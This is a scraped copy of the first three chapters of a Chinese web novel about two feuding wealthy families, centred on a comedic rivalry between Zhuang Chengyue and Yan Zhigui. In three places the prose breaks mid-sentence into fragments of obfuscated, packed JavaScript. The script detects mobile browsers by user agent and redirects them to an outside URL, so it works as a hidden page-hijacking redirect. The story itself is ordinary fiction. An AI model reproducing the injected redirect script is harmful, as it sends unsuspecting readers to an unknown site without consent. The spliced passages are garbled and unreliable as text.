《死对头豪门抱错崽咋办》 1. Chapter 1 夜晚的江海市,比起白日的喧嚣浮躁,另有一种纸醉金迷的热闹。 忙碌的码头作业船涌动,宽阔的马路上车辆川流不息,繁华的CBD一片灯红酒绿。 眼前这座气势恢宏的江海歌剧院,在各种造型灯的映射下更显得美轮美奂,高大气派。 此刻,世界著名歌剧《茶花女》几近尾声,宽敞的大厅内座无虚席,艺术家们在舞台上身着华服引吭高歌,优美的歌声震彻场内外,令在座观众为之如痴如醉。 二楼走廊里,两名身着工装的工作人员表情分外凝重。 “张姐,要是他们真吵起来怎么办?”其中圆脸的年轻姑娘偏过头,一脸紧张地小声嘟囔,“开场前两家没打上照面,可散场都差不多同时离开,不见得能避得过去。” 另一个鹅蛋脸的姑娘冷静地说:“不怕,豪门大佬要面子,不会大吵大闹,一会儿人出来,咱俩赶紧把他们往两头带就是。” 圆脸姑娘点了点头,又问:“他们真的这么邪乎,一见面就掐吗?” “但愿这次不会。”鹅蛋脸言简意赅,意味深长。 面前的两个vip包厢,正是由江海市两大商业巨头卓志集团和英嘉集团分别命名并长期持有,据说两家从爷爷辈就是死对头,到现在依旧相看两厌,若非这里是剧院里最好的包厢,他们才不会比邻而坐。 这个享誉国内外的剧团在江海市已经演出了一周,今天是最后一天,谁知好巧不巧,这两家居然都选了这一天来看。 雷鸣般的掌声如潮水般从前边表演大厅传来,证明演出已经结束,两位工作人员神色一凛,不约而同地挺直了腰背,严阵以待。 “英嘉轩”的门率先打开,走出来一位二十多岁的先生,圆脸姑娘立刻冲他微微躬身,亮出职业微笑,单手五指并拢,指向走廊一侧,礼貌道:“英先生,这边——” 话没说完,她就尴尬地卡了壳。 丸辣,一紧张把vip客户名字叫错了! 救救我救救我救救我! 那年轻先生似乎并没打算跟她计较,只是轻轻勾了勾唇角,谁知隔壁传来了一声刺耳的嗤笑。 “小姑娘,叫错晏二少的名字,月底奖金不想要啦?”“卓志轩”门口,一个三十岁出头的男人促狭地笑着说。 圆脸姑娘紧张地回头看向自己的同事,鹅蛋脸姑娘面如死灰,强撑着笑脸,对那位晏二少解释:“抱歉晏先生,我同事刚来,一时口误,请多包涵。” 接着立刻转头对面前的男人道:“宋先生,出口这边——” “请”字还没说出来,骤然被那位晏二少打断:“叫错名字有什么关系,纠正过来就是了,反正我姓什么全江海市都知道,倒是你,宋乾,你个赘婿,不该改姓庄么?” 来回几句话的工夫,两个包厢里的人陆续走了出来,不算宽敞的走廊里,两家老的老小的小,都穿得西装革履、尊贵体面,面色不怎么友善地彼此对峙着。 宋乾一听“赘婿”两个字,立刻红温:“你说什么?!敢再说一遍?!” 晏二少揶揄地笑着,正要开口,被身后稍年长的男人阻止:“知恩,跟他废什么话?这赘婿就是根搅屎棍,小心沾一身臭味儿!” “晏知遇,你嘴里可真是吐不出象牙来!”宋乾身后的女人冷着脸说。 她三十左右,一脸肃杀之气,看上去很不好惹。 被点名的晏家老大对此报以轻蔑的微笑:“庄苡然,管好你老公那张嘴,小心又惹出祸来让你擦屁股。” “我大姐和姐夫的事用你管?!”庄苡然身侧,另一个不好惹的年轻女子讥讽道,“什么时候晏家干起居委会的活儿了?家里生意太差闲得吧?” 晏二少,也就是晏知恩,突然笑声更加爽朗了起来:“庄苡歆,说到生意,要不让我们家老三出来聊聊,他是怎么让你到手的鸭子都飞了的?” 他转头向身后寻人,目光落在了身高优越地高出一截、已经面露不耐的英俊青年身上,伸手把人拽到了最前边:“晏知归,出列!” 看到那人,庄家所有人脸色都黑了一个度,不约而同地想——“这天杀的小混蛋!” 走廊顶灯勾勒出晏知归一张轮廓立体、宛若雕塑般的脸,他一双深窝眼低垂,整了整被自家二哥弄皱了的衬衫袖口,薄唇轻启,漫不经心地说:“抱歉,我没有时间对牛弹琴。” 庄家人脸黑plus。 两名无辜的工作人员瑟瑟发抖。 豪门大佬的确不会大吵大闹,他们只会互相阴阳。 “弹琴?呵,就凭你那鸡爪子?” 卓志轩里头传来一道清脆的男声,吸引了众人目光,一个俊逸清秀的男青年从里边缓步走了出来。 不同于在场众人一水儿的商务打扮,他穿得颇为休闲,像是出来参加秀场活动的爱豆,二十出头的年纪,面容线条精致,巴掌大的脸上一双偏圆的猫儿眼噙着促狭的笑,右侧唇角有一个深深的梨涡。 养眼是真养眼,嘴毒也是真嘴毒。 这会儿轮到晏家人集体脸黑,人群中不知道谁,说了句“遭瘟的败家子”。 男青年丝毫不怒,脸上笑容更深,走到自家人身前,大有把他们都护在身后的意思,冲着晏家众人说:“嚯,一水儿的黑西装,审美这么单调么?不知道的还以为道上大哥团建呢。” 他微微侧身歪头,冲对面人群后站着的女子道:“舒亚姐,要是你被绑架了就眨眨眼。” 晏家男丁多,全都穿黑色商务西装,唯一区别是有人打领带有人打领结,女眷们也都穿深色外套,看过去确实乌黑一片。 相比之下,庄家虽然穿得也偏正式,但由于女眷较多,色彩庄重又不失活泼。 晏知遇的妻子方舒亚家族与庄家关系还算不错,此刻被cue到,只能尴尬而不失礼貌地笑了笑。 站在最前边的晏知归眼神冰冷,颇有些警示地压低声音道:“庄乘月!” “哎,别客气,可以叫我庄老师,我来教你琴艺,毕竟咱是专业的。”庄乘月微微仰头看着他,猫儿眼在灯光下像一双清澈的琥珀,闪着狡黠的光,“作为败家子,我倒有的是时间可以对牛弹琴。” 晏知归轻笑一声,露出恍然大悟的表情:“太久不见,我都忘了你学的是大提琴。记得你好像有个拉风的名头,叫什么来着?哦……神之六指?” 话音刚落,晏知遇和晏知恩发出一阵低低的嘲笑声。 庄苡然和庄苡歆姐妹俩旁边,一名中年女子面色十分难看:“晏家老三,说话别太过分!” “没事的妈妈。”庄乘月回头冲母亲乔轻云笑了笑,接着转回身,非常好脾气地看着晏知归,“是‘被神亲吻过的手指’,想不起来可以多问问,本人心地善良,最爱关怀智障。” “既然如此,你可以好好关怀一下你大姐夫,小心他下一个公司还被我收购。”方才听到是宋乾先挑事,晏知归毫不留情地为二哥报一箭之仇。 提起这个,宋乾再度红温:“晏老三,你混账!要不是你背后耍手段,我好好的公司能被你抢走?!” 晏知归好整以暇地看着他,右手并起两指在额角一飞,冲他行了个很不端庄的礼。 杀伤力不大,侮辱性极强。 “姐夫,别理他,猴年马月的事拿出来说,怕不是洛阳铲成的精。”庄乘月笑吟吟地抱起手臂,对晏知归道,“是不是还在惦记被我砸烂的那辆车?一点小事酸这么久?” 他伸出白皙纤长的手指,在对方胸口戳了戳:“心胸只有鼻嘎大,胸肌练得再硬也没用啊晏龟龟!” 晏知归面无表情地一把握住庄乘月的手腕:“兰花螳螂,手伸这么长小心被撅。” “够了!”一个头发花白、气质雍容的老太太沉着脸从晏家人中走出来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848975|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 晏知归当即松了手,回头道:“奶奶。” 柴芷青面色难看地打量了对面庄家众人一眼,敬她是长辈,所有人包括庄乘月都没再吭声。 最后她的目光落在了晏知归身上,语调责备地说:“吵吵个没完,实在有失身份,走!” 工作人员立刻迎过去,圆脸姑娘指向南边电梯:“女士,请随我来。” 鹅蛋脸姑娘也立刻带着庄家人往北边走:“各位,这边电梯可以直达停车场。” 剑拔弩张的两家人总算偃旗息鼓,各自随着工作人员离开。 没走两步,晏知归听到身后的庄乘月轻声哼起了《茶花女》里的著名唱段《饮酒歌》: “Ah! Godiamo, la tazza e il cantico(啊今夜在一起使我们多么欢畅) la notte abbella e il riso,(一切使我流连难忘) in questo in questo paradiso(让东方美丽的朝霞透过花窗) ne scopra il nuovo dì.(照在狂欢的宴会上)” 很美妙的歌词,就是此刻听起来,嘲讽拉满。 他忍不住回头看过去,就见庄乘月双手小指勾着唇角,其余手指扒着眼角,冲他:“略——” 晏知归:“……” “好了宝宝,别跟他们一般见识。”乔轻云拉回庄乘月,“好好的心情都被他们给毁了。” 庄乘月笑眯眯地搂住妈妈的肩膀:“放心!我才不会受他们影响!我们家的快乐由我来守护!” 老成持重的庄新远看看活泼的儿子和温柔的妻子,淡淡笑了笑。 “还得是我们月宝!”二姐庄苡歆夸奖,“下次晏家混球再找茬,一定喷死他们!” 大姐庄苡然清冷的面色也带了些笑意:“咱家就指望小月给我们撑场子了。” “乘月好样的,就该给晏家点颜色看看。”走在前边的宋乾回过头,义愤填膺地说,“尤其晏知归那个小混蛋!喷死他活该!” “吵架都吵不过别人,还不懂藏拙?!” 电梯轿厢里,柴芷青站在最前边,偏头看了眼身侧的晏知归,一脸不悦。 “可不是!他们家一定私底下偷偷笑话咱们!”晏家三子的继母阮美兰之前没有加入战局,此刻搂紧了身边的亲生儿子、第四子晏知潼,表情夸张地叮嘱,“潼潼,这个咱可不兴学!” 十二岁的晏知潼察言观色地看了眼垂眸不语的晏知归,朗声道:“我才不会像三哥这么没用呢!” 晏知恩靠在轿厢壁上,没正形地笑着说:“老三这方面确实差点,回回都让庄家那个败家子在嘴上抢了风头。” “这事儿不能怪三弟。”方舒亚看不下去,说了句公道话,“乘月从小就被宠得无法无天,嘴跟淬了毒似的,谁能说得过他。” 旁边晏知遇眼梢瞥了眼妻子,调侃:“你是说三弟不受宠吗?爸可听着呢。” 方舒亚偏头瞪了他一眼。 始终沉默的晏家家主晏宇安这会儿总算开口:“都给我闭嘴,话这么多!” 电梯里顿时一片死寂。 只有晏知归微微勾了勾唇角,露出一抹冷笑。 停车场里,晏家人分别上了三辆车,晏知归开自己的,晏知遇夫妻一辆,晏知恩蹭老爸他们的MPV。 庄家人则一边热热闹闹地聊着天,一边上了一辆加长礼宾车。 出口只有一个,不知是有意还是无意,扁扁的大长条故意跟晏知归四四方方的大G抢路,有一种法棍大战方包的既视感,把他卡在了后边,搞得晏家三辆车都只能闻它的车尾气。 庄乘月坐在礼宾车屁股那头,他降下车窗探出脑袋,冲后边的晏知归招了招手,坏笑着喊:“不好意思喽,晏龟龟!我长我先过!” 2. Chapter 2 加长礼宾车在前,晏家三辆车在后,鱼贯开出了歌剧院大门口,一辆直行,三辆右转,就此分道扬镳。 “乘月你还是收敛点,我怕那小混蛋对你的moon直播下手。”宋乾望着车窗外晏家车队的影子,心有余悸地说,“这小子狠着呢,看我和你二姐都没躲过他的黑手。” 庄苡歆懒洋洋地歪在老妈右肩上:“应该不至于,咱俩手里的生意跟晏知归管的那一趴有交集,算是正面刚上了,他跟传媒业又没什么关联,不好下手。再说moon直播在逐月传媒旗下,有向薇那个女强人盯着,小混蛋找不到机会。” 逐月传媒是庄家卓志集团的下属子公司,庄乘月挂名总经理,平时主要经营直播平台,闲着没事儿自己也会直播,账号ID“月圣”,坐拥不少粉丝。 “他搞不了我的公司也会搞我,因为他就是个‘黑松露和鲟鱼籽酱包的饺子’,心黑着呢。”他撒娇地歪在老妈的左肩。 乔轻云肩膀上压着一儿一女,幸福的重量让她不堪重“富”,听儿子说话又忍俊不禁:“形容腹黑的人不是什么黑芝麻馅汤圆吗?你这比喻倒是特别。” “汤圆虽黑,可它甜啊,晏知归哪点儿甜了?”庄乘月撇撇嘴,“他味儿冲得三里地外都能闻得见。” 庄苡然笑道:“还得是我们小月,这比喻很形象。他要找你麻烦就跟家里说,我们帮你对付他。” “不用!小小一只晏乌龟,我包治的!”庄乘月得意道,抬起手来翻了翻,“对付他,易如反掌。” 不怪他有自信,这是从小到大无数次斗争总结出来的历史经验。 庄家和晏家互为死对头,但同在江海市,免不了会狭路相逢。 市里顶级私校就那么一所,从小学到高中全包,汇总了大大小小有钱人家的孩子,几乎是从小培养富N代们的交际圈。 庄乘月和晏知归不幸地同年同月同日生,尽管在学校里隶属不同班级,但私校实行走班制,俩人总能在一些课上相遇。 相遇必交战,不然就是违背祖宗意志。 经过小学幼稚时期的“武斗”,打从初中开始,随着两小只自我意识的觉醒,开始觉得肢体交流比较没品,互相也不想被对方碰到自己,于是开始了“文斗”。 文斗分为两种,嘴炮输出型和策略型,由于庄乘月是一款能把i人吓晕的超级赛e人,有仇基本当场就报了,顾不上回去想策略,所以他一向使用前者; 而晏知归出落成少年模样之后,突然就一骑绝尘地往祖传霸道总裁高贵冷艳方向发展,很少大开大合地喷人,通常只是逼逼两句就走,转头就给庄乘月挖个大坑,利用各种恶作剧让他社死。 背后挖坑防不胜防,庄乘月中计次数不少,不过他并不怕社死,甚至具有“只要我不尴尬,尴尬的就是别人”的被动技能,因此他觉得交战多年,自己胜绩遥遥领先。 谁管那个晏乌龟怎么想! 不过这都是中学时候的事了,随着各自出国留学,俩人见面次数屈指可数,很少短兵相接。 最近一次,还是一年多以前的赛车场事件。 庄乘月输了比赛和面子,晏知归输了一辆车,两人各自爽过,算打了个平手,暂时休战。 不知道这次重逢,是不是要开启新一轮较量。 加长礼宾车劈山斩海一般地从车流中驶出,没开多久就到了庄家大宅。 这是一座位于CBD东侧、闹中取静的豪华庄园,驶入大门后,经过外圈用来隔开喧嚣的景观林,穿过中心喷泉花园,最终抵达核心住宅区域。 最前方是别墅主体,一栋富丽堂皇的欧式三层楼,后边还有零星建筑,譬如独栋宴会厅、酒窖、私人博物馆、露天泳池和室内游泳馆、网球场等等。 礼宾车停在主楼门口,庄乘月从里边蹦下来,活泼地绕过车屁股,挽上从另一边下车的乔轻云:“终于到家啦!” 一行人走进宽敞的入户门厅,收到消息的保姆已经在此地迎接。 庄乘月问道:“孙阿姨,爷爷睡了吗?” “还没有,正在客厅看电视。”慈祥大姐笑呵呵地回答。 “太好啦!”庄乘月一马当先地跳上靠墙那排电动平衡车的第一辆,转身冲其他人一挥手,“走起来走起来!” 这是他在家里搞的“革新”,嫌空间太大走路浪费时间,逼着每个人都配了一辆平衡车。 团宠提出的想法全家人无不顺从,除了没让老爷子碰这个,连年过半百的庄新远和乔轻云夫妇都尝试接受新鲜事物,经过一段时间的练习,已经对此得心应手。 “滴滴!逛吃逛吃逛吃~爷爷!我们肥来啦!” 伴随着嘴动特效,由庄乘月打头的电动平衡车队驶入了宽敞明亮的大厅,酷似商场里穿梭的儿童小火车。 坐在电视机跟前的庄景川老爷子已经靠在沙发上眯着了,被这一嗓子喊醒,转过头看到车队向自己开来,笑着弯起了眼:“慢着点。” 他就是庄家卓志集团的创始人,也是跟晏家英嘉集团“世仇”的缔造者之一。 当年庄景川和晏少禹联手开办了卓英钢铁厂,一步步发展成了钢铁集团,后因为经营理念出现严重分歧,进而上升到了相看两厌,曾经的好搭档把集团拆成了两半,分别就是卓志和英嘉的前身。 由于是同行,后来又在发展中选择了相近的新能源产业和地产业务,免不了成为竞争对手,“世仇”逐渐加深,直到近些年,各自又延伸出不同领域的互联网生意,短兵相接的局面减少,再加上晏少禹的去世,生意上对立的情况才好转了些。 人死如灯灭,什么恩怨情仇都没了,庄景川不禁怀念起晏少禹的好来,对晏家的态度有所缓和。 但晏少禹的妻子柴芷青却因丈夫的离世更加痛恨庄家,两家人仍很难和平相处。 “你怎么还没睡呀?!”停在沙发旁边,庄乘月从电动平衡车上下来,从沙发背后搂住爷爷的脖子,在他脸上“吧唧”亲了一口,“老年人不要熬夜,容易脱发。” 庄景川笑意更浓:“就冲你熬夜的劲头,你秃我都秃不了。” “啧啧,太酸了!”庄乘月撩了撩自己的头发,“我看你就是嫉妒我浓密的秀发。” 庄景川慈祥地捏了捏他的脸:“特意等着是有正事跟你说,你不是想在直播平台上跟那个夺冠的游戏战队一起做活动吗?正好我有个老下属,跟那俱乐部老板关系不错,联系方式给我了,什么时候你有空,约他见面聊聊吧。” “嗷~”庄乘月抬起长腿,一下子从沙发靠背上翻过去,兴奋地抱住了庄景川,在他脸上叭叭地使劲儿亲了好几口:“您真是我的亲爷爷!么么么么!” “行了行了!”庄新远看不过去,拍拍他的肩膀,“别把你爷爷给压着了。” “老爸,你嫉妒了吧?没关系,大家都有份!” 庄乘月松开爷爷,挨个儿在爸爸妈妈大姐二姐脸颊上亲了一口,最后到了宋乾面前,嫌弃地把他一把推开:“你就算了。” 全家人禁不住一起哈哈大笑。 庄乘月一手叉腰,一手指天:“我一定要把逐月传媒做大做强、再创辉煌!” CBD的西侧,晏家三辆车也陆续驶进自家大宅。 这套庭院的规格跟庄家大差不差,只不过已故的晏老爷子晏少禹偏好中式审美,建的是中式庄园。 庄园里园林特意找了大家设计,优雅古典、静谧怡然,晚上各种景观灯交相辉映,打造出更具气质的氛围。 其他人被司机直接送到入户门厅外,晏知归把车停到车库后,才沿着通道闲庭信步地回主宅。 一走进宽敞的客厅,发现阮美兰和晏知潼不在,其他所有人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848976|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围坐在沙发上,气氛略显沉闷。 晏知遇听到声音,回头看了他一眼:“奶奶,老三回来了,可以说了。” “什么事?”晏知归加快脚步,走过去坐下。 柴芷青面色严肃:“你们以后尽可能少跟庄家来往,尤其是你,知归,跟那败家子纠缠不清,太败坏我们晏家名声!” “奶奶说得对,那庄乘月,刚满十八就敢跟大哥抢女伴,实在没教养,回国的这两年整天花天酒地,让狗仔拍着跟男男女女不清不楚,啧,真够跌份的。”晏知恩看热闹不嫌事大地说。 晏知遇和方舒亚脸色不约而同地变得难看。 “老二,有事说事,扯那老黄历干什么?”晏知遇瞪着他,“你跟蓝家大小姐约会约得怎么样了?是不是因为嘴太贱被人嫌弃?” 晏知恩不爽道:“管得着吗?凭什么你和大嫂能自由恋爱,我就得联姻?老三呢?” 刚被奶奶点名,晏知归心里多少有点窝火,又听二哥把话题扯到自己头上,意味深长地反击,“就凭二哥这一表人才,婚事恐怕麻烦,现在哪轮得到我?” “又不是旧社会,用不着遵守这规矩。”柴芷青看向他,“我替你物色了一个,同样也是做新能源的祁家,他家二女儿刚留学回来,比你大一岁,有时间你们两个见见面。” 晏知恩起哄地笑了起来:“奶奶,怎么不问问老三喜欢男的还是女的就帮他定啊?” “先跟这女孩见过再说。”柴芷青的口吻不容置疑。 晏知归看向不发一言的父亲:“爸,我觉得现在为时过早——” “早不早都先准备着,婚姻大事听奶奶的。”晏宇安疲惫地站起身,松了松领带,伸手去扶柴芷青,“妈,早点休息吧。” 两位长辈离开,晏知遇和方舒亚两人也走了,晏知恩经过晏知归身边,笑嘻嘻地拍了拍他的肩膀:“老三,你事事冲在前头,唯恐奶奶和爸看不见你,难道婚事上要忤逆他们?” 晏知归冷冰冰地觑了他一眼,把他的手从自己肩膀上扒掉,起身离开。 晏知恩不以为意,双手抄着裤袋,冲他的背影喊道:“哎,要不要我帮你想想约会地点啊?” “夜场高尔夫?你这约见方式老人味儿也太重了吧?” 手机画面里,发小曹怀周明显一脸嫌弃。 “你个娱乐圈的二世祖懂什么,我们正经人高端商务谈判都是这样。” 拿到联系方式之后,转过天来庄乘月就约了那俱乐部老板王总,双方很快拍板的见面时间和地点。 现在他坐在汽车后排,把视频通话里自己的框框调大,对着整了整头发,自信满满地说:“股东,等我好消息,我觉得这事儿不难谈,咱们平台这一年用户增长量这么高,他干嘛不答应。” 曹怀周“嘿嘿”笑了两声:“你应该说,有庄爷爷的面子在,没人会不答应。” “所以我更要做好,不仅给爷爷一个交代,过阵子我妈妈生日,我还想做出点成绩给她做生日礼物。”庄乘月抿了抿嘴,表情认真,“她生我那么不容易,我要对她好一点。” “明白,祝你好运。对了,聊完了还出来玩吗?我也在KTV陪客户呢,等你完事儿我这边也差不多能结束。” “完事儿再联系吧,我到了,回聊!” 庄乘月的乔治巴顿越野停在高尔夫俱乐部的停车场,副驾驶上小助理姜易回头看他:“乘哥,我陪你去吧?” “不用,你跟司机在这儿等着就行,有事儿我给你打电话。”庄乘月下了车,从后备箱里提出一袋子高尔夫球杆,兴致满满地背着走了。 与此同时,另一排的停车位上,有辆汽车后座车窗缓缓降下来,露出一个年轻男子的脸。 他看着庄乘月的背影,饶有兴趣地摸出手机拨通了电话:“知归,猜猜我看见谁了?” 3. Chapter 3 九月底的天气,白天还有点热,到了这靠近郊区的高尔夫球场,夜晚温度十分适宜。 约见的电竞俱乐部老板王总约莫四十多岁,人很热情,情况也正如庄乘月估计的那样,合作没谈多久就确定了意向,剩下的就是下场打球。 这家球场面积很大,夜场开足了灯光,可见度挺高,远处是水墨画一般晕开的崇山峻岭,看不太清细致的轮廓,只能看到乌压压的一片。 打到远处会有一种夜晚山林探险的既视感。 庄乘月平时很少打高尔夫,夜场更是第一次,如果早知道是这样的环境,他一定会提议换地方。 小时候他看恐怖电影吓着过一次,做噩梦发高烧折腾了好几天才消停,之后就有点害怕漆黑的野外,现在已经隐隐开始有些不适。 但刚谈完正题就跑,实在不太好意思,他虽然不在意自己纨绔浪荡的名头,但不想让合作伙伴背后说庄家教子无方。 只能咬牙坚持了。 王总球艺不错,一杆子出去球都飞得老远,他让两个球童开车先去确认落点,自己上了另一辆球车,带着庄乘月过去。 车上免不了闲聊几句:“小庄总年纪不大吧?大学毕业了吗?” 庄乘月笑笑:“刚毕业,在读研了。” “哦?念的什么专业?商科?”王总悠闲地转着方向盘。 “不是,大提琴表演。” 王总意外地看了他一眼:“难怪气质这么好,原来是艺术家。” “艺术家不敢当,就是兴趣爱好。”庄乘月一脸商务微笑,“我妈妈比较喜欢高雅艺术。” “孝顺孩子错不了!经商又不用学,你跟着家里多做几个项目就成了,我看你们moon直播的数据确实不错,也有不少明星进驻,这次合作我很有信心!”王总笑盈盈地说。 庄乘月点点头:“那就预祝我们合作顺利!” 球车开到落点处,王总跳下车,兴奋地说:“既然这样,今天我们多打一会儿,打个尽兴!” 庄乘月:“……” 他回望远处离得老远、灯火通明的俱乐部主楼,狠狠一咬牙,应道:“好啊,难得我跟王总一见如故,第一次谈合作就这么顺利,就好好打一场!” 但他心不在焉,完全成了陪练,球打得稀松拉胯,手机快刷没电了。 王总倒是越打越兴奋,不仅接连打出了几个老鹰球和小鸟球(注),甚至还在三杆洞区域打出了一杆进洞,高兴得合不拢嘴。 他打得越快,俩人前进越快,不知不觉间一个多小时过去,已经看不到俱乐部主楼的位置了。 这一处四杆洞,球已经上了果岭,如果一发入魂,王总又能拿下一个老鹰球,他双手紧握球杆,反复比划着找推杆的角度和姿势,迟迟不动手,看得庄乘月心浮气躁。 这时,旁边球童掏出个嗡鸣作响的手机递了过来:“王总,您的电话。” 王总恋恋不舍地停手,看了眼来电显示,对庄乘月说:“不好意思啊小庄总,我去接一下。” 庄乘月看起来在场,但实际上人走了有一会儿了,被他这么一说,立刻站直身体:“要是忙的话,今天就到这儿吧,我没关系的。” “不忙不忙,我马上回来。”王总拿着手机一溜小跑地走远了些。 庄乘月只能郁闷地给发小曹怀周发微信。 【月圣】:啊啊啊啊啊我要闹了!我想回家!谁知道他打上瘾了! 【大呲花】:你走呗,又没人拦着你,不是说乘哥从不内耗吗? 【月圣】:人打得在兴头上,我作为新晋合作伙伴,不得提供一下情绪价值。 【大呲花】:你不洒脱,我鄙视你。 【月圣】:「中指.jpg」 【大呲花】:要不我去找你吧,正好我这边完事儿了,把你救出来咱们去喝两杯。 【月圣】:善。 心头刚松一点,就听王总跑了回来,不好意思地说:“小庄总,我有点小急事,得回会员中心一趟,马上就回来!” 庄乘月立刻顺坡下驴:“没事,要不今天——” “不不不,我很快、很快!”王总急切地吩咐旁边一个球童,“替我原封不动地保存好这个位置,一点都不能变!”接着对另一个说,“你开车送我回去。” 庄乘月:“……” 等人走后,他无可奈何地问球童:“王总很喜欢打球哈?” 球童连连点头:“他是我们这儿的超级vip,有空就来。” 看出来了,打起球来两眼都放光。 庄乘月无奈地在原地反复踱步,打定主意等曹怀周来了自己就开溜。 谁知片刻后,球童按住耳机,像是接到了什么指令:“现在吗?我帮客户看着球呢。”语气从犹豫转为无奈,“好,我知道了。” 庄乘月警惕地问:“怎么了?” “另一组客户出了点意外,我得过去帮一下忙,马上回来。”球童一边说一边退到球车旁边,“抱歉庄先生,我开车去,来回能快点,真的抱歉。” 他面色看起来非常为难,但身手如猫一样敏捷,开上球车掉头就跑,慌张得好像在逃命。 逃命?! 庄乘月哆嗦了一下,回头看了眼这片果岭。 周围一圈树木围着,灯光略显阴暗,球车声音远去后,此处更显幽静,能听到草丛中蝇虫的鸣叫声。 一丝小凉风吹来,直让人后背发凉。 “自己吓自己。”庄乘月拍着胸口,自言自语,“人家都说了去帮忙,可不得跑快一点么,不怕不怕。” 然而下一秒,就听空气中传来细微的电流涌动声音,像是有“啪”的一声,周遭的大灯瞬间全部熄灭,他目之所及,陷入了一片黑暗。 庄乘月:!! 他整个人僵成一根棍儿,呆立原地,动都不敢动。 原本灯光下看起来还算茁壮的树木此刻只剩张牙舞爪的影子,活像定了身的怪兽,仿佛下一秒就能复活。 庄乘月心脏扑通扑通地疯狂跳了起来。 风好像大起来了,呼啸着从耳边刮过,依稀带来了一些奇怪的声响。 “啊!” 庄乘月吓得捂住耳朵蹲了下去。 走还是不走,这是个问题。 要是自己走了,那球童开着车回来了怎么办?岂不是白白要走回去?至少五里地呢! 就算走,能认路吗?如果迷路了岂不是更危险? 他掏出手机一看,发现电量只剩血皮,还有百分之三,分分钟可能会自动关机。 大意了。 犹疑中,庄乘月的目光落在了王总让球童好好看住的那颗高尔夫球上。 不对,有问题。 球童有几个胆子敢把客户留在场地里自己离开? 夜场高尔夫的大灯有多大几率偏偏这个时候坏掉? 一定背后有人在故意捉弄自己! 这个味儿,太晏知归了! 庄乘月霍地站起身,脸上露出一抹王之冷笑,大声自言自语:“放心,乘哥从不内耗!我倒要看看,他敢把我晾在这多久!” 尽管眼睛适应了黑暗,他还是有些害怕,脑子里那些恐怖片记忆争先恐后向外冒。 为了阻止大脑发散思维,庄乘月决定想办法壮胆。 “苏元意,你搞什么鬼?”晏知归推门进了高尔夫俱乐部里的一间vip休息室。 口中的这位是他多年同窗好友,也正是先前在停车场看到庄乘月的那个年轻男人。 苏元意手里操作着一个无人机手柄,匆匆抬头瞥了他一眼:“怎么才来?看我把兰花螳螂困在球场里了!” 晏知归眉头微微一蹙,凑过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848977|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去看。 手柄上的屏幕里是一片俯瞰镜头,红外画面展示着黑黢黢的高尔夫球场地,还有个正在蹦蹦跳跳的人。 正是庄乘月。 苏元意得意道:“谁叫他落进我的手心里,正好替你收拾他!我让人把和他打球的那个引开,又让球童把车开走,再关了那一片的灯。哈哈哈,看他吓成那样!” “你可真是大缺大德。”晏知归并没有笑,“他怕黑,尤其怕野外,这对他不是恶作剧,是折磨。” “是吗?可我看他自嗨得挺带劲啊!”苏元意不以为然,下巴戳了戳屏幕,笑出声来,“还用球杆给自己画了个圈,cosplay孙悟空吗?我得让他赔我草皮!” 无人机缓缓下降,从背后接近庄乘月,把他此刻的动作和声音捕捉得一清二楚。 穿着运动服的瘦高青年在一个圈圈里原地唱跳,活像在参加什么选秀节目:“看见蟑螂,我不怕不怕啦!我神经比较大,不怕不怕啦!” 晏知归忍不住勾起了唇角。 “怎么样,算替你出口恶气了吧?”苏元意笑得前仰后合,“这不比他在赛车场唱的《征服》好听。” “上次撞见就是拌了几句嘴,我真没打算怎么他,你来这么一出,他肯定记在我头上。”晏知归属实无奈。 不过这画面里的舞姿,还挺有意思。 唱完《不怕不怕》,画面里的庄乘月停下来休息了两秒,接着战歌再起,音乐用的是《康康舞曲》,仿效的是网上有名的《坏猫之歌》。 仔细听听,主人公竟是晏知归。 “晏乌龟把人作业撕坏还偷偷去告老师 晏乌龟最爱背后搞小动作全都是坏事 晏乌龟看起来乖仔其实只会装腔作势 晏乌龟狼心狗肺心里坏透了还是弱智 乌龟!乌龟!你已经无药可治 乌龟!乌龟!长了一嘴烂牙齿 乌龟!乌龟!你怎么不去吃屎 乌龟!乌龟!自己放屁自己吃 龟龟,你是一只坏龟,在茅厕里买醉 浑身臭味就像把人打晕的大锤 你是一只坏龟,是坏心眼大荟萃 不管谁靠近你都一定倒霉 龟龟,你是一只坏龟,从来不觉羞愧 脸皮厚得堪比三尺厚城墙堡垒 你是一只坏龟,整天装神弄鬼 看我早晚一天把你打稀碎,嘿!” 晏知归:“……” 苏元意笑得险些拿不住手柄:“你别说,你还真别说,他真的挺有才。” “行了,先把灯给他打开,然后给我一辆球车,我去接他。”晏知归叹气。 苏元意愕然:“你这去不是自投罗网吗?” 